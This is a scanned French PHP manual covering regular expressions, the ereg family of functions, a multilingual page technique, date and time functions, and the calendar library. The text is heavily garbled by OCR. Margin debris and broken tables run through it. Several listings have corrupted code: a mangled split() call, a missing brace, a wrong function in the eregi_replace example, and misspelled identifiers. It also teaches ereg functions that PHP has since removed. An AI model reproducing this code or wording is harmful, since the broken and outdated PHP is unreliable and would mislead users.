Tout caractere qui n'est pas alphanumerique en minuscule ni le caractere 
souligne 'J. 


[ : space : ] 


Tous les caracteres d'espacement (espace, tabulation, retour chariot) et 
tout autre caractere qui n'utiliserait pas d'encre sur une imprimante. 


[ : "space : ] 


Tous les caracteres qui ne sont pas des caracteres d'espacement. 


[ :punct : ] 


Tout caractere de ponctuation. 


[ :xdigit : ] 


Tout caractere hexadecimal ([0-9a-f]). 


[ : cntrl : ] 


Tout caractere de controle. 



Voici une nouvelle serie d'exemples illustrant ce que Ton peut definir avec ces ensembles de 
caracteres. 
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Tableau 7.11 : Exemples 



Expression Definition Exemples reconnus Exemples non 

reconnus 

[[:word:]] Une serie de caracteres thomas@toutestfacile thomas@toutestfacile.fr 

+@ [ [ :word: ] ] alphanumeriques (ou .com toto.com 



A.com '_') puis le signe '©' 

puis une autre serie de 
caracteres 
alphanumerique (ou 
'_') suivi de '.com'. 

[: digit: ][ :word: ] Un chiffre suivi d'un Oabd -2 Oa1b1 -2 

[ : "digit : ] [ : word: ] caractere 0_aa1 %2 Oabd d2 

[ : digit : ] [ : space : ] alphanumerique puis 
[ : "word : ] [ : digit : ] d'un caractere qui n'est 

pas un chiffre puis un 

caractere 

alphanumerique puis 

un chiffre, un caractere 

d'espacement, d'un 

caractere non 

alphanumerique et 

enfin un chiffre 

II est egalement possible de preciser les nombres minimum et maximum d'occurrences d'un 
caractere en utilisant une notation entre accolades, les deux valeurs etant separees par une 
virgule. 

ab{2 , 4}c signifie : un caractere 'a' suivi de deux a quatre caracteres V puis du caractere 'c'. 

Pour permettre une alternative, il suffit d'utiliser le caractere ' | '. 

ab | ac signifie : soit la chaine 'ab', soit la chaine 'ac' et aucune autre. 

Enfin, pour permettre certains caracteres ou une certaine plage de caracteres, on peut utiliser 
des crochets. 

a[bcde] f permettra de reconnaitre 'abf', 'acf', 'adf' et 'aef', mais pas 'abcf' par exemple. 

Pour definir une certaine plage de caracteres, il suffit de placer un signe '-' entre les caracteres 
delimitant la plage. 

a [b-e] f est identique a l'exemple precedent. 

Pour ajouter le signe '-' a la liste des caracteres, il suffit de le placer juste avant le crochet 
fermant. 

a [b-e-] f permettra de reconnaitre 'abf', 'acf', 'adf', 'aef' et 'a-f'. 

L'utilisation des crochets peut egalement permettre d'exclure certains caracteres, en utilisant le 
caractere d'exclusion ' ~ '. 

[ A bc] oule permettra de reconnaitre 'foule', 'roule' mais pas 'bouie' ni 'couie' . 

A l'interieur des crochets, les regies d'echappement ne s'appliquent pas de la meme maniere ; 
seuls les caracteres [ , ] et \ doivent etre precedes du signe \ . 



=i m 
as =r. 
e-j o 



2 ™ 

CO CO 
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Tableau 7.12: D'autres exemples 



Expression 


Definition 


Exemples reconnus 


Exemples non 
reconnus 


[02468] {3,5} 


Un nombre de trois a 


24804 


135 




cinq caracteres 


8602 


1222 




composes de chiffres 


666 


20 




pairs. 






[a-z] [0-9] {3 


, 3 } Une lettre minuscule 


a 111 


7 765 




suivie du signe '_' puis 


g 753 


4 a33 




d'exactement trois 








chiffres. 






[\[\]\\]+ 


Une composition de 


\[]\][]\][ 


[a] 




caracteres '[', ']' et V. 


[\] 
\W]][[[ 




[a-zA-Z0-9._-: 


] Un ou plusieurs 


livrephp@toutestfacile 


@toutestfacile.com 


+@[a-zA-Z0-9] 


caracteres 


.com 


toto@ .com 


+\ . [a-zA-Z] {2 


, 3 } alphanumeriques ou ' . ', 


manuel@brazil.br 






_', '-' suivi de '@', de 


thomas.heute@toutestfacile 




un ou plusieurs 


.com 






caracteres 








alphanumeriques, d'un 








point puis de deux ou 








trois lettres. 







CD qj 

"a i— 

= -a 

o o 



Debut etfin de ligne 

En dehors des crochets, le caractere ' A ' permet de definir le debut d'une chaine. Le caractere '$' 
designe la fin d'une chaine. 

abc reconnaitra "abc", "dabc", "dabce". 
A abc reconnaitra "abc" et "abed". 
A abc$ reconnaitra "abc" (uniquement). 



B- CD 

s= -a 

E CD 

_l CO 



Les fonctions PHP 

Substitution par expression reguliere 



ereg_replace() 



Permet de remplacer une partie de chaine de caracteres par une autre. 

Syntaxe string ereg_replace(string $expression, string $remplacement, 

string $chaine) 
$expressi on Expression reguliere qui correspond a la partie a remplacer. 

$remplacement Chaine de substitution qui peut recuperer les motifs captures par \ \ n , ou 

n est le numero du motif. 
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$chai ne Chaine dans laquelle remplacer une partie. 

retour La chaine de caracteres modifiee. 

Voici un script d'exemple : 

<?php 

echo ereg_replace("([[:alpha:]]+)@([[:alpha:]]+)\.com", 

"Premiere partie de 1 'adresse:\\l Domaine:\\2", 

"webmaster@toutestfacile.com") ; 
?> 

dont le resultat est : 

Premiere partie de 1 'adresse: webmaster Domaine:toutestfacile 



^J) ereg_replace() vs. str_replace() 

"**^ Bien qu'il soit possible d'utiliser ereg_replace () d la place de str_replace( ), il 

est tout de mime preferable, pour des raisons de rapidite, d'utiliser 
str_replace ( )lorsque le motif recherche s'avere etre une chaine ne faisant 
intervenir aucun joker. Bien entendu, la difference ne se fera ressentir que si cette 
fonction est appelee de nombreuses fois. 



eregi_replace() 



Permet de remplacer une partie de chaine de caracteres par une autre expression reguliere 
insensible a la casse. 

Syntaxe string eregi_replace(string $expression, string $remplacement, 

string $chaine) 

$expressi on Expression reguliere qui correspond a la partie a remplacer. 

$rempl a cement Chaine de substitution qui peut recuperer les motifs captures par \ \n, ou 

n est le numero du motif. 

$chai ne Chaine dans laquelle remplacer une partie. 

retour La chaine de caracteres modifiee. 

Voici un script d'exemple : 

Listing 7.39 : eregireplace.php 

<?php 

echo ereg_replace("([[:alpha:]]+)@([[:alpha:]]+)\.com", 

"Premiere partie de 1 'adresse:\\l Domaine:\\2", 

"webmaster@toutest facile. Com") ; 
?> 



as =r. 
<r> o 



CO CO 
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dont le resultat est : 

Premiere partie de 1 'adresse: webmaster Domaine:toutestfacile 

Extraction et comparaison par expression reguliere 

ereg() 

Permet de retourner les motifs captures d'une chaine de caracteres ou, tout simplement, de 
verifier si cette derniere satisfait a une expression reguliere. 

Syntaxe int ereg(string $expression, string $chaine [, array 

&$resultat]) 

$expressi on Expression reguliere a verifier. 

$chai ne Chaine dont on veut verifier qu'elle correspond a l'expression reguliere. 

$resul tat Les motifs captures sont stockes dans ce tableau. 

retour TRUE si la chaine verifie l'expression reguliere, FALSE sinon. 

Voici un script d'exemple : 

Listing 7.40 : ereg.php 

<?php 

echo (ereg("([[:alpha:]]+)@([[:alpha:]]+)\.com", 

"webmaster@toutestfacile.com")) ? "Ca matche" : "Ca matche pas"; 
echo "<br />\n"; 
echo (ereg("([[:alpha:]]+)@([[:alpha:]]+)\.com", 

"webmaster@toutestfacile.COM")) ? "Ca matche" : "Ca matche pas"; 
?> 

CD qj 

= '-22 dont le resultat est : 

O w 
■^ CO 

3 SS Ca matche 
■2- a> Ca matche pas 

E CD 



CO <= 

_l CO 



r- « 



eregi() 



Permet de retourner les motifs captures d'une chaine de caracteres ou, tout simplement, de 
verifier si cette derniere satisfait a une expression reguliere, sans tenir compte de la casse (les 
minuscules et majuscules sont confondues). 

Syntaxe int eregi (string $expression, string $chaine[, array 

$resul tat] ) 

$expression Expression reguliere a verifier. 
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Expressions regulieres 

$chaine Chaine dont vous souhaitez extraire des motifs, ou verifier qu'elle 

correspond a 1'expression reguliere. 

$resul tat Les motifs captures sont stockes dans ce tableau. 

retour TRUE si la chaine verifie 1'expression reguliere, FALSE sinon. 

Voici un script d'exemple : 

Listing 7.41 : eregi.php 

<?php 

echo (eregi ("([[:alpha:]]+)@([[:alpha:]]+)\.com", 

"webmaster@toutestfacile.com")) ? "Ca matche" : "Ca matche pas"; 
echo "<br />\n"; 
echo (eregi ("([[:alpha:]]+)@([[:alpha:]]+)\.com", 

"webmaster@toutestfacile.COM")) ? "Ca matche" : "Ca matche pas"; 
?> 

dont le resultat est : 

Ca matche 
Ca matche 

Decoupe par expression reguliere 

split() 

Permet de decouper une chaine de caracteres en morceaux selon une expression reguliere. 

Syntaxe array split(string $expression, string $chaine [, int « ;-J 

$1 invite]) I", £ 



$expressi on Expression reguliere du separateur. 

$chaine Chaine a decouper. 

$1 i mi te Nombre d'elements maximum du tableau. 

retour Un tableau des differentes parties separees par 1'expression reguliere. 

Encore un petit exemple d'application : 

Listing 7.42 : split.php 

<?php 

print_r(split(" [:;,.]"» 

"Comment, separer; des. el ements.d 1 une: chaine")) ; 
?> 



CD = 



cj o 



CO CO 
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cz 



v> 



qui 


prod 


aire 


i : 


Array 






( 










[0] 


=> 


Comment 




[1] 


=> 


separer 




[2] 


=> 


des 




[3] 


=> 


elements 




[4] 


=> 


d'une 




[5] 


=> 


chaine 



splitiQ 



Permet de decouper une chaine de caracteres en morceaux, l'expression reguliere ignorant la 
casse des caracteres. 

Syntaxe array spl it(string $expression, string $chaine[, int $1 imi te] ) 

$expressi on Expression reguliere du separateur. 

$ c h a i n e Chaine a decouper. 

$1 imi te Nombre d'elements maximum du tableau. 

retour Un tableau des differentes parties separees par l'expression reguliere. 

Divers 



sql_regcase() 



= <aj Permet de creer une expression reguliere negligeant la casse. 
o o 

2 ea Syntaxe string sql_regcase(string $chaine) 

■= ^ $chaine Chaine de caracteres. 



E si retour Une expression reguliere. 

ec < = 

_i ra 

r-^ « Encore un exemple : 

Listing 7.43 : sqlregcase.php 

<?php 

echo sql_regcase("C'est Cool."); 
?> 

Et son resultat : 

[Cc] ' [Ee] [Ss] [Tt] [Cc][0o][0o][Ll]. 
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7.9. Adapter le texte a la langue du visiteur 

Si vous souhaitez proposer le meme site web a des visiteurs provenant de differents horizons 
linguistiques, vous devrez trouver une solution vous permettant d'adapter le texte en fonction 
de la langue choisie. Une des solutions consiste a utiliser la bibliotheque gettext. 
Malheureusement, sans que nous puissions veritablement determiner l'origine du probleme, il 
se trouve que cette bibliotheque n'a correctement fonctionne que dans un des trois 
environnements testes. Nous ne nous etendrons pas sur ce sujet, d'autant qu'il est tres facile 
d'arriver au meme resultat sans avoir a utiliser la moindre bibliotheque (ce qui garantit un 
fonctionnement dans n'importe quel environnement). 

En effet, il vous suffit de creer un script par langue que vous souhaitez proposer, chacun de ces 
scripts definissant un tableau associatif ayant pour cles les identifiants de message (qui 
pourraient etre les versions franchises du message) et pour valeurs les traductions. 

Ce qui donne, par exemple : 

Listing 7.44 : langeninc.php 

<?php 

$msg["titre"] = "Welcome! This is our acme website"; 

$msg["Bonjour"] = "Hi"; 

$msg["Quoi de neuf?"] = "What's up?"; 
?> 

Listing 7.45 : langfrinc.php 

<?php 

$msg["titre"] = "Bienvenue! C'est notre super site"; 

$msg["Bonjour"] = "Bonjour"; 

$msg["Quoi de neuf?"] = "Quoi de neuf?"; 
?> 

II suffira alors d'inclure le fichier correspondant a la langue choisie, et de faire appel aux valeurs n ;-J 

du tableau pour chaque affichage. Comme dans l'exemple suivant : 22, £J" 

CD = 

Listing 7.46 : langaccueil.php g- =. 

o c= 

<?php 3 s-. 

switch ($_GET["lang"]) { 2. § 

case "en" : 3 §■ 

r •" CO 

include("lang_en_inc.php") ; 

break; 
} 

case "fr" : 
default : 



include("lang_fr_inc.php") ; 
break; 



} 
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?> 

<html> 

<head> 

<titlex?php echo $msg["titre"] ; ?></title> 

</head> 

<body> 

<hlx?php echo $msg["Bonjour"] ; ?></hl> 

<?php echo $msg["Quoi de neuf?"]; ?> 

</body> 

</html> 

Ainsi, l'appel lang_accueil .php?lang=f r (ou tout autre valeur de lang differente de "en") 
retournera : 

Bonjour 

Quoi de neuf? 

avec pour titre : 

"Bonjour! C'est notre super site" 

Alors que l'appel lang_accueil .php?lang=en retournera : 

Hi 

What's up? 

avec pour titre : 

Welcome! This is our acme website 

Meme si votre site n'est qu'en francais, cette methode peut presenter des avantages, puisqu'en 
faisant ainsi, tous les textes sont centralises dans un unique fichier (ce qui ne peut que simplifier 
les mises a jour). 

o> u l_^ / Detection automatique de la langue preferee 

o o 



.Br cd 



cc 



C/3 



Si vous souhaitez determiner automatiquement la langue preferee de votre visiteur, 

astuce vous pourrez faire appel a la variable externe $_server [ " http_accept 

_language "]. Celle-ci contient une liste des codes pays (sur deux lettres) separespar 

des virgules et dans Vordre de preference. Vous pourrez alors determiner la langue 



E aj preferee supportee par votre site (id, "en" et "fr") grace au script suivant : 

ea < = 
_i CO 

'*■ " <?php 

function languePreferree() { 

Slangs = explode(",\ $_SERVER["HTTP_ACCEPT_LANGUAGE"] ) ; 
for ($i=0; (($i<count($langs))&&(!isset($lang))); $i++) { 

if (in_array($langs[$i] , array("en", "fr"))) $lang = $langs[$i]: 

} 

return $lang; 

} 
?> 
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Les fonctions de date et heure 



8.1. Les fonctions de date et heure 

Le langage PHP offre des fonctions similaires a ce que Ton peut rencontrer en C/C+ + . La 
plupart de ces fonctions s'appuient sur une date definie par un entier correspondant au nombre 
de secondes ecoulees depuis le l er janvier 1970 a 00:00:00 (aussi appele epoch). Une date ainsi 
definie sera egalement appelee timestamp UNIX. 



Jusqu'en2037... 

Ce timestamp UNIX n'est valable que dans la plage de temps comprise entre le l e 
REMARQUE j anv i er 1970 et 2037. 



Recuperer une date au "format informatique" 

Ainsi, generalement, la premiere operation a realiser lorsque Ton souhaite manipuler des dates 
consiste a recuperer la date voulue au format timestamp UNIX. Pour cela, nous disposons des 

fonctions time ( ) , mktime ( ) et strtotime ( ) . 



time() 



Retourne la date courante. 

Syntaxe int time (void) 

retour Nombre de secondes ecoulees depuis le l er janvier 1970. 



mktime () 



Retourne le timestamp de la date specifiee. 

Syntaxe int mktime(int $heure, int $minute, int $seconde, int $mois, 

int $jour, int $annee) 

$heure L'heure. 

$mi nute Les minutes. 

$seconde Les secondes. 

$mois Lemois. 

$jour Lejour. 

$annee L'annee. 

retour Nombre de secondes ecoulees entre le l er janvier 1970 et la date specifiee. 
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strtotimeQ 



Retourne le timestamp d'une date specifiee sous la forme d'une chaine de caracteres et 
exprimee en anglais. 

Syntaxe int strtotime(string $date) 

$date Date exprimee en anglais. 

retour Nombre de secondes ecoulees entre le l er Janvier 1970 et la date specifiee. 

Listing 8.1 : datetimeOLphp 

<?php 

echo "Le timestamp actuel est ".time()."<br />"; 

echo "Le timestamp pour la date du 10/01/2001 18:15 est "; 

echo mktime(18, 15, 0, 1, 10, 2001). "<br />"; 

echo "Le timestamp pour la date du 10 Janvier 2001 18:15 est "; 

echo strtotime("10 January 2001 18:15"). "<br />"; 

echo "Le timestamp pour la date du 2001-01-10 18:15 est "; 

echo strtotime("2001-01-10 18:15"). "<br />"; 

?> 

retournera : 

Le timestamp actuel est (valeur variable) 

Le timestamp pour la date du 10/01/2001 18:15 est 979146900 

Le timestamp pour la date du 10 Janvier 2001 18:15 est 979146900 

Le timestamp pour la date du 2001-01-10 18:15 est 979146900 



/£\ Dates au format SQL 

"**^ Comme vous pouvez le constater, strtotime () permet de traiter des dates issues 

d'une base de donnees (i.e. au format aaaa-mm-jj hh-.mm-.ss). 
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Effectuer des operations sur les dates 



Lorsque vous avez une date au format timestamp UNIX (issue, par exemple, de la fonction 
timet)), vous pouvez ajouter/soustraire des secondes, des minutes, des heures, des jours 
simplement en ajoutant/soustrayant le nombre de secondes correspondant. 

Listing 8.2 : datetime_02a.php 

<?php 

echo "Le timestamp d'hier a la meme heure est ". (time()-24*3600) ."<br />"; 

?> 
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Si, en revanche, vous voulez ajouter/soustraire des mois ou des annees, vous devrez 
decomposer la date exprimee en secondes depuis le l er Janvier 1970 en jours, mois, annees, 
heures, minutes et secondes. Pour cela, vous pouvez faire appel a la fonction getDate ( ) . 



getDate() 

Retourne les differents champs d'une date (ou de la date courante). 

Syntaxe array getDate ( [ i n t $date] ) 

$date Date exprimee en nombre de secondes depuis 1970 (par defaut, la date 

courante). 

retour Tableau associatif contenant (entre autres) les cles : 

"mday" jour. 
"mon" mois. 
"year" annee. 
"hours" heure. 
"minutes" minutes. 
"seconds" secondes. 

Listing 8.3 : datetime_02b.php 

<?php 

$tableauDate = getdate(); 

// Calcul de la date courante - 6 mois 
$tableauDate["mon"] = $tableauDate["mon"] - 6; 

if ($tableauDate["mon"] < 1) { 

$tableauDate["mon"] = $tableauDate["mon"] + 12; 
$tableauDate["year"] = $tableauDate["year"] - 1; 



echo "II y a 6 mois, nous etions le "; 

echo $tableauDate["mday"] . "/".$tableauDate["mon"] ; 

echo "/".$tableauDate["year"] ; 

echo "<br />"; 
?> 



Afficher des dates 

II existe differentes fonctions d'affichage (ou, plus exactement, de representation) des dates, 
mais toutes s'appuient sur une date exprimee en secondes depuis le l er Janvier 1970. 

Parmi elles, vous trouverez les fonctions date ( ) et strf time ( ) . 
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dateQ 
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Represente une date (ou date courante) selon le format specifie. 

Syntaxe string date (string $format [, ind $date]) 

$format Chaine precisant le format de representation de la date en s'appuyant sur 

les cles presentees ci-apres. 

$date Date exprimee en nombre de secondes depuis 1970 (par defaut, date 

courante). 

retour Chaine de caracteres representant la date. 

Dans le cadre de la fonction date ( ) , les cles sont : 

Tableau 8.1 : Les differentes cles pour representor un format de date avec dateQ 

Cle Signification 
Concernant les jours 

I Pour le jour en toutes lettres (en anglais). 

D Pour les trois premieres lettres du jour (en anglais). 

w Pour le jour de la semaine (0 = Dimanche, ..., 6 = Samedi). 

d Pour le jour du mois, sur deux chiffres. 

j Pour le jour du mois (sur un ou deux chiffres). 

S Pour le suffixe sur deux lettres (en anglais) du nombre indiquant le jour. 

z Pour le numero du jour dans I'annee (0 = 1 er Janvier). 



Concernant les mois 

F Pour le mois en toutes lettres (en anglais). 

M Pour les premieres lettres du mois (en anglais), 

m Pour le mois, sur deux chiffres. 

n Pour le mois (sur un ou deux chiffres). 

t Pour le nombre de jours dans le mois. 



Concernant les 


annees 






Y 


Pour I'annee, 


sur 


quatre chiffres. 


y 


Pour I'annee, 


sur 


deux chiffres. 



L Pour "1" si I'annee est bissextile, "0" sinon. 

Concernant les heures 

g Pour I'heure sur 12 heures (sur un ou deux chiffres). 

G Pour I'heure sur 24 heures (sur un ou deux chiffres). 

h Pour I'heure sur 12 heures, sur deux chiffres. 
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Cle Signification 



Pour I'heure sur 24 heures, sur deux chiffres. 



a 


Pour "am" ou "pm". 


A 


Pour "AM" ou "PM". 


1 Pour "1" en heure d'ete et "0" en heure d'hiver. 



T Pour le fuseau horaire. 

Z Pour le decalage horaire GMT en secondes. 

B Pour I'heure internet Swatch. 

Concernant les minutes 

i Pour les minutes, sur deux chiffres. 



Concernant les secondes 



Pour les secondes, sur 2 chiffres. 



Concernant la date dans son ensemble 



Pour la date au format RFC 822 (Tue, 22 Jan 2002 1 1 :09:42 +01 00). 



Retourne simplement le timestamp. 



L'exemple : 

Listing 8.4 : datetime_03a.php 

<?php 

echo "Nous sommes le ".date("l j F Y")." "; 

echo "II est ".date("H:i :s") . "<br />"; 
?> 

pourra retourner quelque chose comme : 

Nous sommes le Tuesday 9 July 2002 
II est 22:39:06 

La fonction date ( ) propose done de nombreuses possibilites de formatage d'une date, mais 
nous lui preferons la fonction strf time ( ) qui, elle, tient compte de la langue locale lors de la 
restitution d'informations en toutes lettres. 



strftimeO 

Represente une date (ou la date courante) selon le format specifie. 

Syntaxe string strftime(string $format [, int $date]) 

$format Chaine precisant le format de representation de la date en s'appuyant sur 

les cles presentees ci-apres. 
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$date Date exprimee en nombre de secondes depuis 1970 (par defaut, la date 

courante). 

retour Chaine de caracteres representant la date. 

Dans le cadre de la fonction strf time ( ) , les cles sont : 

Tableau 8.2 : Les differentes cles pour representor un format de date avec strftimef) 
Cle Signification 

Concernant le jour 

%A Pour le jour en toutes lettres (dans la langue locale). 

%a Pour les trois premieres lettres du jour (dans la langue locale). 

%d Pour le jour du mois, sur deux chiffres. 

%e (*) Pour le jour du mois (sur un ou deux chiffres). 

%j Pour le numero du jour dans I'annee, sur trois chiffres (1 = 1 er Janvier). 

%u (*) Pour le jour de la semaine (1 = lundi 7 = dimanche). 

%w Pour le jour de la semaine (0 = dimanche 6 = samedi). 

Concernant le mois 

%B Pour le mois en toutes lettres (dans la langue locale). 

%b Pour les trois premieres lettres du mois (dans la langue locale). 

%h (*) Comme %b. 
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%m 


Pour le 


: mois; 


sur 


deux chiffres. 


Concernant r 


annee 








%y 


Pour I' 


annee, 


sur 


deux chiffres. 


%Y 


Pour I' 


annee, 


sur 


quatre chiffres. 



Concernant I'heure 

%H Pour I'heure sur 24 heures, sur deux chiffres. 

%l Pour I'heure sur 12 heures, sur deux chiffres. 

%p Pour AM ou PM. 

%Z Pour le fuseau horaire. 



Concernant les minutes 


%M 


Pour les minutes, sur deux chiffres. 


Concernant les secondes 


%S 


Pour les secondes 


sur deux chiffres. 



Concernant la semaine 

%U Pour le numero de la semaine (1 = semaine du 1 er dimanche de I'annee) 

%V (*) Pour le numero de la semaine (ISO 8601:1988), sur deux chiffres. 
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Cle Signification 


%W Pour le numero de la semaine (1 


= semaine du 1 er lundi de I'annee). 


Concernant le siecle 


%C (*) Pour le siecle, sur deux chiffres. 


Concernant la date dans son ensemble 



%D (*) Pour la date au format %m/%d/%y. 

%r (*) Pour I'heure au format %I:%M:%S %p. 

%R (*) Pour I'heure au format %H:%M. 

%T (*) Pour I'heure au format %H:%M:%S. 

%c Pour I'affichage traditionnel de la date dans la langue locale (ex. : JJ/MM/AA 

hh:mm:ss en France). 



%x 


Pour I'affichage traditionnel de la date dans la langue locale, sans I'heure (ex. : 
JJ/MM/AA en France). 


%X 


Pour I'affichage traditionnel de I'heure dans la langue locale (ex. : hh:mm:ss en 
France). 


Autre 


%n 


Pour inserer un retour a la ligne. 


%t 


Pour inserer une tabulation. 


%% 


Pour afficher un pourcentage. 



L'exemple : 

Listing 8.5 : datetime_03b.php 

<?php 

setLocale(LC_TIME, "fr"); 

echo "Nous sommes le ".strftime("%A %d %B %Y")."<br />"; 

echo "II est ".strftime("%H:%M:%S") . "<br />"; 
?> 

retournera quelque chose comme : 

Nous sommes le mardi 09 juillet 2002 
II est 22:51:06 



Jk Portability 

^^3 Malheureusement, il est possible que votre bibliotheque PHP ait ete compilee avec 
ATTENTION une bibliotheque C ne supportant pas toutes ces options. Les cles marquees d'un 
asterisque ne sontpas disponibles dans les versions Windows, alors qu'elles le sont 
parfaitement sous Linux. 
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Les heures GMT 

Les fonctions mktime ( ) , date ( ) et strf time ( ) se declinent en gmmktime ( ) , gmdate ( ) et 
gmstrf time ( ) . 

Ces fonctions s'utilisent exactement de la meme facon, mais : 

gmmktime () retourne le timestamp UNIX local (tenant compte du decalage horaire) 
d'une date donnee en heures GMT. 

gmdate () et gmstrf time ( ) retournent les valeurs GMT pour des dates exprimees 
localement (tenant compte du decalage horaire). 

Listing 8.6 : datetime_04.php 

<?php 

echo "Le 1/1/2003 11:00:00 GMT donne "; 

echo strf time("%H:%M:%S",gmmktime(ll, 0,0, 1,1, 2003)); 

echo "localement <br />"; 

echo strftime("A %H:%M:%S " ,mktime(12, 0,0, 1,1, 2003)) ; 
echo "local ement<br />"; 

echo gmstrftime("Il est %H:%M:%S", mktime(12, 0,0, 1,1, 2003)) ; 
echo " GMT (d'apres gmstrf time) .<br />"; 

echo "II est ",gmdate("H:1 :s", mktime (12, 0,0, 1,1, 2003)); 
echo " GMT (d'apres gmdate). <br />"; 
?> 

affichera : 

Le 1/1/2003 11:00:00 GMT donne 12:00:001ocalement 

A 12:00:00 localement 

II est 11:00:00 GMT (d'apres gmstrf time). 

II est 11:00:00 GMT (d'apres gmdate). 



Les microsecondes 

PHP dispose de deux fonctions permettant de recuperer l'heure a la microseconde pres. II s'agit 
des fonctions getTimeOf Day ( ) et microtime ( ) . 



geffimeOfDayO 



Retourne les champs de la date courante, y compris les microsecondes. 
Syntaxe array getTimeOf Day (void) 

retour Tableau associatif contenant (entre autres) les cles : 

"sec" contenant le timestamp UNIX. 
"usee" contenant les microsecondes. 



442 



Les fonctions de date et heure 



microtimeO 



Retourne une chaine de caracteres contenant les microsecondes de la date courante. 
Syntaxe string microtime(void) 

retour Chaine de caracteres contenant les microsecondes (O.xxxxxx), une espace 

puis le timestamp UNIX. 

Listing 8.7 : datetime_05.php 

<?php 

$topO=getTimeOfDay(); 

echo "Temps d 1 execution avec getTimeOfDay<br />"; 

$topl=getTimeOfDay(); 

$diff=($topl ["usee"] +$topl ["sec"] *1E6) - 
($topO ["usee"] +$topO ["sec"] *1E6); 

echo "Temps = $diff micro-secondes<br />"; 

list($usecO,$secO)=explode(" ", microtimeO) ; 
echo "Temps d'execution avec microtime<br />"; 
list($usecl,$secl)=explode(" ", microtimeO) ; 

$diff=($secl+$usecl) - ($secO+$usecO) ; 

echo "Temps = $diff secondes<br />"; 

?> 



Autres fonctions 

Outre les fonctions permettant de recuperer ou de formater des dates, heures et 
microsecondes, PHP propose la fonction checkDate ( ) qui permet de controler la validite 
d'une date (en tenant compte notamment des annees bissextiles). 



checkDate () 

Teste la validite de la date. 

Syntaxe boolean checkDate(int $mois, int $jour, int $annee) 

$mois Lemois. 

$jour Lejour. 

$annee L'annee. 

retour TRUE si la date existe, FALSE sinon. 





CO 


CD 


1— 


~^ 


n> 


a. 


(a 


CD 

to 


CD 
CO 


C3 




SL 


o' 


CD 


3 


3 


a. 


a. 


CD 


2. 


CO 


CD 


a. 


V> 


CD 




CD 




CO 



443 



Chapitre 8 La gestion des dates et des calendriers 



La fonction localTime ( ) qui permet de recuperer les differents champs d'une date n'est pas 
presentee en detail ici, puisque ses fonctionnalites se retrouvent dans les fonctions presentees 
precedemment. 



8.2. Les dates et calendriers particuliers 

Vous trouverez egalement, avec le langage PHP, quelques fonctions vous permettant de 
determiner, pour chaque annee, des dates particulieres (en l'occurrence celle de Paques), mais 
aussi des fonctions permettant de convertir des dates d'un calendrier a l'autre (gregorien, 
julien, juif, republican!) . 

Pour cela, vous devez faire appel a la bibliotheque calendar. 



Installation 



Sous Windows 

Que ce soit avec l'archive de PHP Group ou avec EasyPHP, la bibliotheque calendar est 
activee par defaut. 

Sous Linux 

L'utilisation de cette bibliotheque necessite d'avoir compile PHP avec l'option 

--enable-calendar . 



RENVOI 



Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur la 
compilation de PHP. 
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Verification 

Vous pouvez verifier que le support de la bibliotheque Calendar est effectif en appelant un 
script contenant simplement <?php phpinf o ( ) ; ?> et qui doit afficher : 



Calendar support 



Figure 8.1 : phpinf o{) 



Paques 



Pour connaitre la date correspondant a Paques pour une annee donnee, il suffit de faire appel 

a la fonction easter_date ( ) . 
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easter_date() 



Retourne la date de Paques pour l'annee donnee (ou l'annee courante). 

Syntaxe int easter_date([int $annee]) 

$annee Annee consideree (par defaut, annee courante) entre 1970 et 2037. 

retour Timestamp UNIX de Paques. 

Si, toutefois, vous souhaitez effectuer la meme operation pour une annee situee en dehors de 
la plage de validite du timestamp UNIX (i.e. avant le l er Janvier 1970 ou apres 2037), vous devez 
faire appel a easter_days ( ) . 



easter_days() 



Retourne le nombre de jours entre le 21 mars et Paques pour l'annee donnee (ou l'annee 
courante). 

Syntaxe int easter_days([int $annee]) 

$annee Annee consideree (par defaut, annee courante). 

retour Nombre de jours. 

Listing 8.8 : calendar_01.php 

<?php 

setLocale(LC_TIME, "fr"); 
echo strftime("Cette annee, Paques tombe le %A %d %B<br />", 

easter_date()) ; 
echo strftime("En 2001, Paques etait le %A %d %B<br />", 
easter_date(2001)); 

// Pour les annees precedant 1970 ou suivant 2037 

// utiliser easter_days 

// La date de reference est le 21 Mars 

$jour = 21; 

$mois = 3; 

$annee = 1969; 

$nbJour = easter_days($annee) ; 

if ($nbJour > 10) { 

$mois++; 

$jour = $nbJour - 10; 
} else { 

$jour += $nbJour; 
} 

echo "En $annee, Paques c'est le $jour/$mois<br />"; 
?> 

retourne, en 2002, 
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Cette annee, Piques tombe le dimanche 31 mars 
En 2001, Paques etait le dimanche 15 avril 
En 1969, Paques c'est le 6/4 

Conversion d'une date d'un calendrier a l'autre 

Toutes ces fonctions s'appuient sur une date exprimee dans le calendrier julien (et non le 
calendrier gregorien auquel nous sommes habitues). 

Mais, pour l'instant, commencons par les fonctions de conversion de/vers le timestamp UNIX. 
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unixToJD() 



Retourne le nombre de jours du calendrier julien a partir de la date donnee (ou, a defaut, la 
date courante) en timestamp UNIX. 

Syntaxe int unixToJD( [timestamp $date] ) 

$date Date en nombre de secondes depuis le l er Janvier 1970. 

retour Nombre de jours du calendrier julien. 



JDToUnixQ 



Retourne la date en timestamp UNIX a partir de la date donnee en nombre de jours du 
calendrier julien. 

Syntaxe int JDToUnix(int $dateJulien) 

$dateJul i en Date en nombre de jours du calendrier julien. 

retour Date en timestamp UNIX. 

©Informations sur les differents calendriers 
Vous trouverez plus d 'informations sur ces differents calendriers a I'adresse : 
INTERN ET http:llwww.bdl.fr/Granpub/Calentlriers.html. 

Voici maintenant les autres fonctions de conversion de calendriers. 



JDToGregorian() 



Retourne une chaine au format "mois/jour/annee" du calendrier gregorien, correspondant au 
nombre de jours donnes dans le calendrier julien. 
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Syntaxe 

$jour 
retour 



string JDToGregorian(int $jour) 

Nombre de jours dans le calendrier julien. 

Chaine au format "mois/jour/annee" du calendrier gregorien. 



gregorianToJDQ 



Retourne le nombre de jours du calendrier julien correspondant a la date donnee dans le 
calendrier gregorien. 



Syntaxe 

$mois 
$jour 
$annee 
retour 



int gregorianToJD(int $mois, int $jour, int $annee) 
Mois dans le calendrier julien. 
Jour dans le calendrier julien. 
Annee dans le calendrier julien. 
Nombre de jours du calendrier julien. 



JDToJewish() 



Retourne une chaine au format "mois/jour/annee" du calendrier juif correspondant au nombre 
de jours donnes dans le calendrier julien. 



Syntaxe 

$jour 
retour 



string JDToJewish(int $jour) 

Nombre de jours dans le calendrier julien. 

Chaine au format "mois/jour/annee" du calendrier juif. 



jewishToJDQ 



Retourne le nombre de jours du calendrier julien correspondant a la date donnee dans le 
calendrier juif. 



Syntaxe 

$mois 
